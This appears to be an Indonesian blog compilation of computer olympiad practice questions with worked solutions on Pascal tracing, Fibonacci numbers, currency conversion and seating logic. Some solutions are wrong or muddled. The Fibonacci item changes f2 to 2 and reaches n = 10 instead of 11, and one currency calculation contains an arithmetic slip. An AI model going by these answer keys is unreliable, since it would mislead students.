code(20, 5) -> x = 20, y = 5 ---------- masuk function code() ------- c = 0 cek (20 < -10) -> FALSE                -> cek (20 > 10) -> TRUE                                 -> c = c OR 1 = 0 OR 1 = 1 cek (5 < -10)  -> FALSE                -> cek (5 > 10)  -> FALSE  code = c = 1 ----------------------------------------

Sehingga diperoleh hasil dari code(20, 5) adalah 1.

Selanjutnya bagaimana dengan operasi ‘code(-12, -12) AND code(20, 5)’ atau dalam hal ini ‘12 AND 1?? Pada prinsipnya operasi AND pada bilangan integer sama dengan operasi OR, yaitu dilakukan operasi boolean AND secara bit per bit dari bilangan binernya. Dengan demikian proses 12 AND 1 adalah:

12 = 1100 (biner)  1 = 0001 (biner) ----------------- AND      0000  -> biner dari 0

Dari perhitungan di atas hasil dari perintah ‘writeln(code(-12, -12) and code(20, 5))’ akan mencetak 0.

Nah… berdasarkan contoh ini, Anda dapat mencoba untuk menebak output apa yang akan muncul jika diberikan perintah sebagai berikut:

a. writeln(code(-12, -12) OR code(20, 5))
b. writeln(code(12, -12) AND code(20, 5))
c. writeln(code(12, -12) OR code(20, 5))
d. writeln(code(7, -12) OR code(-20, 5))

Selamat mencoba…

soal osn olimpiade komputer dan pembahasan



Deskripsi Pertanyaan 3-4

Di suatu negri antah berantah alat tukar yang digunakan hanya mata uang dengan empat pecahan saja: satu Gordi, satu Gorde yang sama dengan 17 Gordi, satu Gordo yang sama dengan 57 Gordi, dan satu Goram yang sama dengan 115 Gordi.

3. Gogolan berjualan snack dan ada seorang pembeli yang hendak membayar 3 potong snack yang dibelinya. Snack-snack tsb masing-masing berharga (dinyatakan sebagai (Gordo, Gorde, Gordi)): (4, 12, 10), (8, 21, 12), (1, 19, 11). Uang yang diserahkan adalah 20 Goram. Berapakah kembalian yang benar?

(A) 11 Gordo dan 17 Gordi
(B) 10 Gordo, 3 Gorde dan 21 Gordi
(C) 9 Gordo, 4 Gorde dan 44 Gordi
(D) 8 Gordo, 14 Gorde dan 5 Gordi
(E) 11 Gordo, 1 Gorde dan 1 Gordi

4. Seorang kolektor mata uang dari negri lain sangat menyukai Gorde tetapi membenci Gordi. Baginya setiap Gordi bernilai 2 kali negatif dari nilai Gorde (1 Gordi = -2 Gorde), sementara Gordo dan Goram dilarang untuk dibawa ke luar negeri tsb jadi tidak akan ia koleksi. Ketika ia menukarkan uang di bank, pilihlah jumlah Goram yang ia akan tukarkan untuk mendapatkan total nilai sebesar mungkin baginya.

(A) 6
(B) 7
(C) 8
(D) 9
(E) 10



PEMBAHASAN SOAL:

Wahhh…. Pusing juga baca soal nomor 3 dan 4 ini ya….??!! Gimana…. Anda juga bingung khannn…?? Tapi tenang aja, kalau kita tetap menggunakan kepala dingin, kami yakin Anda dapat memecahkan persoalan ini dengan mudah.

Yuk... kita mulai pembahasannya....


Jawaban Soal Nomor 3:

Ada beberapa hal yang perlu diperhatikan untuk soal nomor 3 ini, yaitu sebagai berikut:
a. Nilai uang pecahan
1 Gorde = 17 Gordi
1 Gordo = 57 Gordi
1 Goram = 115 Gordi

b. Harga snack
Kalau kita tabelkan, harga masing-masing snack sebagaimana informasi dari deskripsi soal di atas adalah sebagai berikut:

Snack

Gordi

Gorde

Gordo

1

10

12

4

2

12

21

8

3

11

19

1

Jumlah

33

52

13


Untuk memudahkan perhitungan, harga-harga snack tadi selanjutnya dikonversikan atau dirubah ke nilai pecahan yang terkecil, yang dalam hal ini adalah Gordi. Dengan demikian, maka harga snack keseluruhan menjadi:

33 Gordi

52 Gorde x 17 =

884 Gordi

13 Gordo x 57 =

741 Gordi

--------------

Total =

1658 Gordi


Total uang si pembeli adalah 20 Goram = 2300 Gordi.
Sehingga kembaliannya adalah = 2300 – 1658 = 642 Gordi.

Perlu diketahui bahwa nilai 642 Gordi tidak ada pada jawaban yang disediakan (lihat lagi deskripsi soal no. 3 di atas). Oleh karena itu, maka kita harus mengkonversikan nilai 642 Gordi tersebut sesuai dengan jawaban yang disediakan.

Konversi dilakukan dengan mengubah nilai 642 Gordi ke dalam nilai pecahan terbesar, yaitu Gordo, lebih dulu. Sehingga:

642 Gordi dibagi 57 = 11 Gordo sisa 15 Gordi (Jawaban A salah karena sisanya 17 gordi).

Nilai 11 Gordo diturunkan menjadi 10 Gordo, sehingga sisanya menjadi 72 Gordi. Nilai 72 Gordi kita konversikan ke pecahan Gorde, menjadi: 72/17 = 4 Gorde sisa 4 Gordi. Jawaban ini juga tidak tersedia, sehingga kita perlu menurunkan nilai 4 Gorde menjadi 3 Gorde (dengan pertimbangan bahwa jawaban B hampir menyerupai). Maka : 72/17 = 3 Gorde sisa 21 Gordi. Sehingga, kembalian yang benar untuk si pembeli tersebut adalah 10 Gordo, 3 Gorde, dan 21 Gordi.
Dengan demikian, maka jawaban yang benar adalah (B) 10 Gordo, 3 Gorde dan 21 Gordi.
Catatan: karena jawaban yang benar sudah ketemu, maka 3 (tiga) alternatif jawaban yang lain tidak perlu dicek lagi.


Jawaban Soal Nomor 4:

Untuk menjawab soal nomor 4 ini, tidak ada cara lain selain kita mencoba menghitung semua jawaban yang disediakan hingga ditemukan jawaban yang paling benar sesuai yang diinginkan.
Adapun pembahasan untuk masing-masing alternatif jawaban yang disediakan adalah sebagai berikut:

Jawaban (A) : 6 x 115 gordi = 690 gordi = 40 gorde sisa 10 gordi = 40 – (2 x 10) = 20 gorde (mengingat 1 gordi = -2 gorde)
Jawaban (B) : 7 x 115 gordi = 805 gordi = 47 gorde sisa 6 gordi = 47 – (2 x 6) = 35 gorde (mengingat 1 gordi = -2 gorde)
Jawaban (C) : 8 x 115 gordi = 920 gordi = 54 gorde sisa 2 gordi = 54 – (2 x 5) = 50 gorde (mengingat 1 gordi = -2 gorde)
Jawaban (D) : 9 x 115 gordi = 1035 gordi = 60 gorde sisa 15 gordi = 60 – (2 x 15) = 30 gorde (mengingat 1 gordi = -2 gorde)
Jawaban (E) : 10 x 115 gordi = 1150 gordi = 67 gorde sisa 11 gordi = 67 – (2 x 11) = 45 gorde (mengingat 1 gordi = -2 gorde)

Berdasarkan perhitungan di atas, dapat kita ketahui bahwa nilai tukar yang terbesar adalah 50 gorde, sehingga dengan demikian, jawaban yang paling benar adalah (C) 50 Gorde.

Pembahasan Soal Olimpiade Komputer Tingkat Kabupaten/Kota Tahun 2006 Part #1

Alhamdulillah kami panjatkan kehadirat Alloh swt, sehingga kami masih diberikan kekuatan untuk saling berbagi ilmu, khususnya dalam pembahasan soal-soal Olimpiade Komputer ini. Sebetulnya soal-soal ini sudah lama kami buat pembahasannya, namun hanya untuk konsumsi kami dan anak didik kami sendiri, dan baru kali ini kami berani menampilkan pembahasan ini untuk Anda semua. Semoga apa yang kami sampaikan ini bermanfaat bagi kita semua. Amiin.

Pembahasan ini kami sengaja buat secara berseri, dengan tujuan agar kita tidak lekas bosan dan jenuh. Di samping itu juga agar kita mudah memahami apa yang kami sampaikan dalam pembahasan ini.


SOAL 1 – 2:

Deskripsi untuk pertanyaan 1-2

Deret bilangan Fibonacci didefisikan secara rekursif sbb.
f1 = 1
f2 = 1
fn = fn-1 + fn-2 untuk semua n > 2

1. Berapa banyak kah bilangan Fibonacci antara 10 sampai dengan 100?

(A) 90
(B) 9
(C) 5
(D) 10
(E) 12

2. Dengan mengambil satu harga n kemudian anda menjumlahkan bilangan-bilangan tsb mulai dari f1 s.d. fn maka berapakah n terkecil agar jumlah itu > 150?

(A) 9
(B) 10
(C) 11
(D) 15
(E) 20


PEMBAHASAN SOAL:

Sebagaimana yang kita ketahui bersama, soal-soal dalam olimpiade komputer jarang merupakan soal mandiri. Biasanya, soal-soal ini merupakan soal berkelompok, dengan satu macam permasalahan untuk beberapa nomor soal. Soal nomor 1 dan 2 ini adalah contohnya.
Bagaimana sih menjawabnya???

Baiklah kami mulai pembahasan untuk soal nomor 1 dan 2 ini…

Ingat pelajaran matematika…. Bilangan Fibonacci merupakan deret bilangan dimana bilangan pada suku berikutnya merupakan hasil penjumlahan dari dua suku bilangan sebelumnya.
Rumus bilangan Fibonacci ini seperti yang tertulis pada soal adalah :
f1 = 1
f2 = 2
fn = fn-1 + fn-2 untuk semua n>2

Rumus di atas kalau kita terjemahkan adalah sebagai berikut:
Suku bilangan ke-1 (f1) = 1
Suku bilangan ke-2 (f2) = 2
Suku bilangan ke-3 (f3) = 3 (diperoleh dari suku ke-1 + suku ke-2 = 1 + 2 = 3)
Suku bilangan ke-4 (f4) = 5 (diperoleh dari suku ke-2 + suku ke-3 = 2 + 3 = 5)
Suku bilangan ke-5 (f5) = 8 (diperoleh dari suku ke-3 + suku ke-4 = 3 + 5 = 8), dan seterusnya.

Bila ditabelkan (dan sebaiknya Anda buatkan tabel seperti di bawah ini untuk memudahkan perhitungan), maka 20 suku bilangan pertama dari deret Fibonacci adalah sbb.:

Suku ke-

Bil. Fibonacci

1

1

2

2

3

3

4

5

5

8

6

13

7

21

8

34

9

55

10

89

11

144

12

233

13

377

14

610

15

987

16

1597

17

2584

18

4181

19

6765

20

10946


Berdasarkan hasil perhitungan pada tabel di atas, kita bisa mengetahui jawaban untuk soal nomor 1 dan 2 di atas, yaitu:


Jawaban Soal No.1.

Dari tabel di atas, terlihat bahwa bilangan Fibonacci yang terletak antara 10 hingga 100 adalah sebanyak 5 (lima) buah, yaitu suku ke-6 (13), suku ke-7 (21), suku ke-8 (34), suku ke-9 (55), dan suku ke-10 (89).
Dengan demikian, jawabannya adalah (C) 5.

Jawaban Soal No.2.

Dari tabel di atas juga, dapat kita ketahui bahwa nilai n terkecil agar jumlah seluruh bilangan Fibonacci dari f1 hingga fn > 150 adalah sebesar 10 (n=10), yang akan menghasilkan jumlah sebesar 231 (diperoleh dari = 1 + 2 + 3 + 5 + 8 + 13 + 21 + 34 + 55 + 89, yang merupakan bilangan fibonacci dari suku ke-1 hingga suku ke-10).
Sehingga, jawaban yang benar adalah (B) 10.


Untuk sementara pembahasan soal olimpiade ini cukup sampai nomor 2 dulu. Insya Alloh untuk soal-soal berikutnya kami lanjutkan pada pembahasan selanjutnya. Doakan semoga kami mampu memenuhi janji kami ini. Sampai jumpa…

SOAL & PEMBAHASAN SELEKSI TAHAP 1 OLIMPIADE KOMPUTER SMAN 1 METRO TAHUN 2009

SCORE PENILAIAN :
BENAR = +4
SALAH = -1
TIDAK MENJAWAB = 0

Soal dan Pembahasan Seleksi I
1. Seorang pedagang barang elektronik menjual sebuah televisi berwarna layar datar seharga Rp.3.000.000, jika tarif pajak barang elektronik yang tergolong barang mewah tersebut adalah antara 5 % sampai 8 %, maka harga yang paling mungkin untuk televisi tersebut setelah ditambah pajak adalah :
(A) Rp. 3.180.000
(B) Rp. 3.100.000
(C) Rp. 3.120.000
(D) Rp. 3.140.000
(E) Rp. 3.250.000
Pembahasan
X = Rp 3.000.000
Tarif Pajak = 5% - 8%
Harga televisi + pajak 5% = 3.150.000
6% = 3.180.000
7% = 3.210.000
8% = 3.240.000

2. Manakah yang mendeklarasikan tipe enumerasi dengan tepat?
a. Type a=integer;
b. Type a=1..300;
c. Type a=(baik, jelek, buruk);
d. Type a=[baik, jelek, buruk];
e. Type a=baik, jelek, buruk;

3. Tipe di bawah ini mana yang tidak dapat melakukan operasi aritmatika?
a. Integer
b. Byte
c. Real
d. boolean
e. word

4. Deklarasi prosedur manakah yang tidak dibenarkan?
a. procedure hapus;
b. procedure hapus(s:string);
c. procedure hapus(var s:string);
d. procedure hapus(s:string):boolean;
e. procedure hapus(var data);
Pembahasan:
Untuk penulisan prosedur, tidak diperbolehkan adanya nilai kembali. Sedangkan parameter tanpa tipe data (pada opsi e), dapat dibenarkan.

5. Tipe variabel ekspresi manakah yang tidak dapat ditampilkan dengan procedure Writeln?
a. Type T=Integer;
b. Type T=String;
c. Type C=Char;
d. Type T=(Small, Medium, Large)
e. Semua valid
Pembahasan:
Opsi d adalah tipe data enumerasi. Tipe data enumerasi tidak dapat ditampilkan dengan perintah Writeln.

6. Perhatikan program berikut :
var s:string;
begin
s:='TOKI GO GET GOLD!';
delete(s,1,length(s)-12);
writeln(s);
end.
Apa keluaran program di atas ?
a. GO GET GOLD!
b. GO GET GOLD!
c. GET GOLD!
d. TOKI GO GET
e. TOKI GO GE
Pembahasan:
Procedure delete:
Deklarasi : procedure Delete(var S: String; Index: Integer; Count:Integer);
Keterangan : procedure delete akan menghapus S sebanyak count karakter, dimulai dari posisi Index.
Function length:
Deklarasi : Function Length (S : String) : Integer;
Keterangan : Length menghasilkan panjang dari S, bernilai antara 0 sampai dengan 255.
Jika S tidak berisi apa-apa maka akan menghasilkan 0.
Statement delete(s,1,length(s)-12) akan menghapus s dari posisi 1 sebanyak panjang s, yaitu 17-12 = 5. Sehingga yang dihapus adalah karakter ‘TOKI ‘ dan s akan bernilai GO GET GOLD!

7. Perhatikan penggalan program berikut :
var i,k: integer;
begin
i:=5; k:=0;
k:=trunc(sqrt(i))+1;
writeln(k);
end.
Apa keluaran program di atas ?
a. 3
b. 2.24
c. 2
d. 0
e. program tidak dapat dijalankan
Pembahasan:
Fungsi sqrt :
Deklarasi : Function Sqrt (X : Real) : Real;
Keterangan : menghasilkan akar pangkat dua dari x, di mana x harus positif
Fungsi trunc:
Deklarasi : Function Trunc (X : Real) : Longint;
Keterangan : menghasilkan bilangan bulat dari X, akan selalu lebih kecil atau sama dengan X.
Sqrt(5) akan menghasilkan 2.23
Trunc(2.23) akan menghasilkan 2
Sehingga k:=trunc(sqrt(i))+1; akan menghasilkan 3

8. Mengacu pada program berikut :
var
A,B:string;
C:string[10];
begin
A:='TOKI MEMANG';
B:='HEBAT';
C:=A+B;
if (Pos(B)>0) then
Begin
Writeln('A');
end else
Writeln('B');
end.
Apa yang terjadi jika program di atas di jalankan...
a. Huruf ‘A’ tercetak
b. Huruf ‘B’ tercetak
c. Tidak dapat dipastikan
d. Terjadi error
e. Tidak bisa di compile
Pembahasan:
Kesalahan pertama yang akan ditemui program adalah pada function pos.
Deklarasi : Function Pos (Substr : String; S : String) : Integer;
Keterangan : function pos akan menghasilkan urutan atau posisi substr di S. Jika tidak ditemukan, maka akan menghasilkan 0.
Pada program function pos hanya terdiri dari 1 parameter saja sehingga program tidak akan dapat dijalankan.

9. Jika n dan p adalah dua bilangan bulat, dan n + p berharga ganjil, manakah dari berikut ini bil ganjil?
a. n – p + 1
b. np
c. n2 + p2 – 1
d. 3p + 5n
e. (p – n)(n – p)
Pembahasan ;
A bukan, karena (n+p) adalah ganjil maka dari n dan p salah satu ganjil dan yang lain genap. Selisih antara n dan p pasti ganjil sehingga jika ditambah 1 menjadi genap.
B bukan karena perkalian antara suatu bilangan genap dengan bilangan apapun akan menjadi genap.
C bukan karena pangkat bulat positif berapapun dari bilangan genap, tetap genap, dan ganjil tetap ganjil, kemudian ganjil ditambah genap dan dikurang ganjil menjadi genap.
D bukan karena pangkat bulat positif berapapun dari bilangan ganjil tetap bilangan ganjil, dan jumlah dua bilangan ganjil menjadi genap.
E benar, karena perkalian antara dua bilangan ganjil menghasilkan bilangan ganjil.

10. var
i,j : integer;
begin
for i :=1 to 3 do
for j :=i to 3 do
write(‘*’);
writeln;
end.
Output program di atas :
a. *
**
***

b. ***
***
***

c. ***
**
*

d. ******

11. Perhatikan potongan program berikut :
begin
writeln(round(frac(3.7)));
end.
Apa keluaran program di atas ?
a. 0
b . 1
c. 2
d. 3
e. 4
Pembahasan:
Fungsi frac (lihat pembahasan di atas)
Fungsi round
Deklarasi : Function Round (X : Real) : Longint;
Keterangan : membulatkan bilangan X, yang mungkin lebih besar atau lebih kecil dari X.
Frac(3.7) akan menghasilkan 0.7
Round(0.7) akan menghasilkan 1

12. Delegasi-delegasi dari negara W dan negara R duduk berhadap-hadapan pada meja perundingan. Masing-masing delegasi terdiri atas seorang ketua, dua atase militer dan dua wakil kamar dagang negara masing-masing. Delegasi W beranggotakan A, B, C, D, dan E. Delegasi R beranggotakan F, G, H, I, dan J. Masing-masing delegasi berada pada sisi-sisi memanjang berlainan (satu negara pada sisi yang sama dan ketua duduk di tengah delegasinya). Batasan dalam mengatur urutan duduk mereka:
· Delegasi W menempatkan A dan B di kedua ujung barisannya.
· Kuping kanan G tuli shg ia harus paling kanan dari delegasi R.
· Baik D maupun F bukan ketua.
· Para atase militer W, salah seorangnya B, didudukkan berdampingan,dan tidak ada satupun yang berseberangan dengan atase militer R
· G bukan atase militer.
· C wakil dari kamar dagang, duduk berseberangan dgn H.

Manakah yang paling mungkin mengenai F berikut?
a. Wakil kamar dagang yang duduk di sebelah I
b. Wakil kamar dagang yang duduk di sebelah H
c. Wakil kamar dagang yang duduk berseberangan dengan B
d. Atase militer yang duduk di sebelah I
e. Atase militer yang duduk di sebelah J

Pembahasan
Dibuat diagram sbb
x1–x2–x3–x4–x5 negara W
y1–y2–y3–y4–y5 negara R
Dari (1) kemungkinan {x1,x5} adalah {A,B} atau {B,A}
Dari (2) maka y5=G yang karena pernyataan (4) dan (5) (G bukan a.m dan B adalah a.m) menyebabkan x5=B, sehingga (atase militer dengan bold)
A –x2–x3–x4– B
y1–y2–y3–y4–G
Dari pernyataan (6) dan (4) diperoleh C = x2 dan y2 = H, sehingga
A –C –x3–x4– B
y1–H –y3–y4–G
Dari pernyataan (3) dan diagram di atas D = x4 dan F = y1 atau y4
A –C –E –D –B
y1–H –y3–y4– G
Jadi tinggal 2 kemungkinan F=y1 (atase militer), atau F=y4 (wakil kamar dagang).
Jika atase militer maka (D) dan (E) salah karena sebelah y1 adalah H.
Jika wakil kamar dagang maka (B) salah karena H atase militer dan (C) salah karena B ada di depan G.
Jadi tinggal pilihan (A) yang paling mungkin.
(Note: ini bukan satu-satunya kemungkinan.Kemungkinan lainnya masih ada tapi tidak ada di kelima pilihan itu).

13. Berapakah jangkauan tipe data Word?
a. 0…255
b. 0…65536
c. 0…65535
d. -32768…32767
e. Salah semua

14. Tipe data manakah yang dapat memuat bilangan pecahan?
a. Byte
b. Integer c. Boolean
d. Real
e. LongInt

15. Dalam potongan program berikut,
var Z1, Z2, Z3, Z4: set of Byte;
begin
Z1 := [1, 2, 6, 8, 9];
Z2 := [3, 6, 8, 12, 14];
Z3 := Z1 + Z2;
Z4 := Z1 * Z2;
end.
Berapakah nilai akhir Z3 dan Z4?
a. Z3 = [6, 7, 8]
Z4 = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14]
b. Z3 = [6, 8]
Z4 = [1, 2, 3, 6, 8, 9, 12, 14]
c. Z3 = [1, 2, 3, 6, 6, 8, 8, 9, 12, 14]
Z4 = [6, 6, 8, 8]
d. Z3 = [1, 2, 3, 6, 8, 9, 12, 14]
Z4 = [6, 8]
e. Salah semua

Soal di bawah ini untuk no. 16 s.d 18
6 orang pengusaha P – Q – R – S – T & U mengadakan rapat tertutup. Dgn formasi kursi diatur berjarak sama satu sama lain mengelilingi meja, sedemikian sehingga setiap kursi di seberangnya:
- P tidak boleh ditempatkan di samping Q
- R tidak boleh ditempatkan di samping S
- T harus ditempatkan di samping S
16. Jika R duduk di seberang Q, ada berapa kombinasi urutan keempat pengusaha lainnya dapat didudukan
a. 5
b. 4
c. 3
d. 2
e. 1

Pembahasan
Urutan 1 : R,P,U,Q,T,S
Urutan 2 : P,U,Q,T,S,R

17. Jika P duduk di seberang T, siapa yg duduk di seberang S?
a. P
b. Q
c. S
d. T
e. U
Pembahasan
Urutan 1 : P, U,R,T,S,Q

18. Jika P duduk di seberang Q, siapa yang dapat ditempatkan di seberang T, jika I.S II.R III. U?
a. Hanya II
b. Hanya III d. I, II dan III
c. Hanya I dan II
d. Hanya II dan III
e. I, II dan III

Pembahasan
Urutan 1 : P,T,S,Q,R,U
Urutan 2 : T,S,Q,R,U,P
Urutan 3 : S,Q,R,U,P,T
Urutan 4 : Q,R,U,P,T,S

19. Deklarasi manakah yang benar?
a. type Anggota = record
Nama: String[40];
NomorAnggota: Word;
End;
b. type Anggota: record
Nama = String;
NomorAnggota = Word;
End;
c. type Anggota := record
Nama := String[20];
NomorAnggota := Word;
End;
d. Type Anggota = record
Nama: String[];
NomorAnggota: Word;
end;
e. Semua deklarasi di atas salah

20. Tipe data mana yang sanggup memuat numerik hingga 75000?
a. Word
b. Integer
c. Real
d. Longint
e. String

21. Seorang manajer perusahaan kecil sedang mengatur Jadwal kerja para pegawainya. Setiap hari kerja (Senin s.d Jumat, lima hari kerja seminggu) diperlukan paling sedikit tiga orang pegawai. Karena perusahaan ini masih kecil, jumlah pegawainya hanya ada lima orang yang bekerja secara paruh waktu (part time, artinya tidak masuk setiap hari lima hari seminggu), Ali hanya bisa masuk kerja pada hari Senin, Rabu, dan Jumat. Baiquini tidak bisa masuk kerja pada hari Rabu. Chali hanya bisa masuk kerja pada hari Selasa dan Rabu. Dita tidak bisa masuk kerja pada hari Jumat. Eko bisa masuk kerja kapan saja kecuali setiap hari Senin pertama dan setiap hari Kamis pertama dalam setiap bulan. Siapa saja yang selalu dapat masuk kerja pada hari Senin ?
a. Dita, Baiquini, dan Ali
b. Ali, Eko, dan Chali
c. Baiquini, Eko, dan Chali
d. Eko, Chali, dan Dita
e. Baiquini, Chali, dan Dita

Pembahasan
Ali : Senin,Rabu,Jumat
Baiquini : Senin,Selasa,Kamis,Jumat
Chali : Selasa, Rabu
Dita : Senin,Selasa,Rabu,Kamis,
Eko : Selasa, Rabu, Jumat

22. Siapa saja yang selalu dapat masuk kerja pada hari Jumat?
a. Ali, Baiquini, dan Dita.
b. Ali, Chali, dan Dita.
c. Baiquini, Chali, dan Eko.
d. Chali, Baiquini, dan Ali.
e. Ali, Baiquni, dan Eko.

23. Pada hari apa kemungkinan sang manajer menghadapi kesulitan untuk mendapatkan minimum tiga orang pegawai ?
a. Senin
b. Selasa
c. Rabu
d. Kamis
e. Jumat

Pembahasan
Senin = 3 pegawai pasti
Selasa & Rabu = 4 pegawai siap
Kamis = 2 pegawai (Eko tidak dapat hadir senin dan minggu pertama)
Jumat = 3 pegawai pasti

24. Pada hari apa sang manajer harus (tidak ada pilihan lain) untuk meminta Eko masuk kerja ?
a. Senin
b. Selasa
c. Rabu
d. Kamis
e. Jumat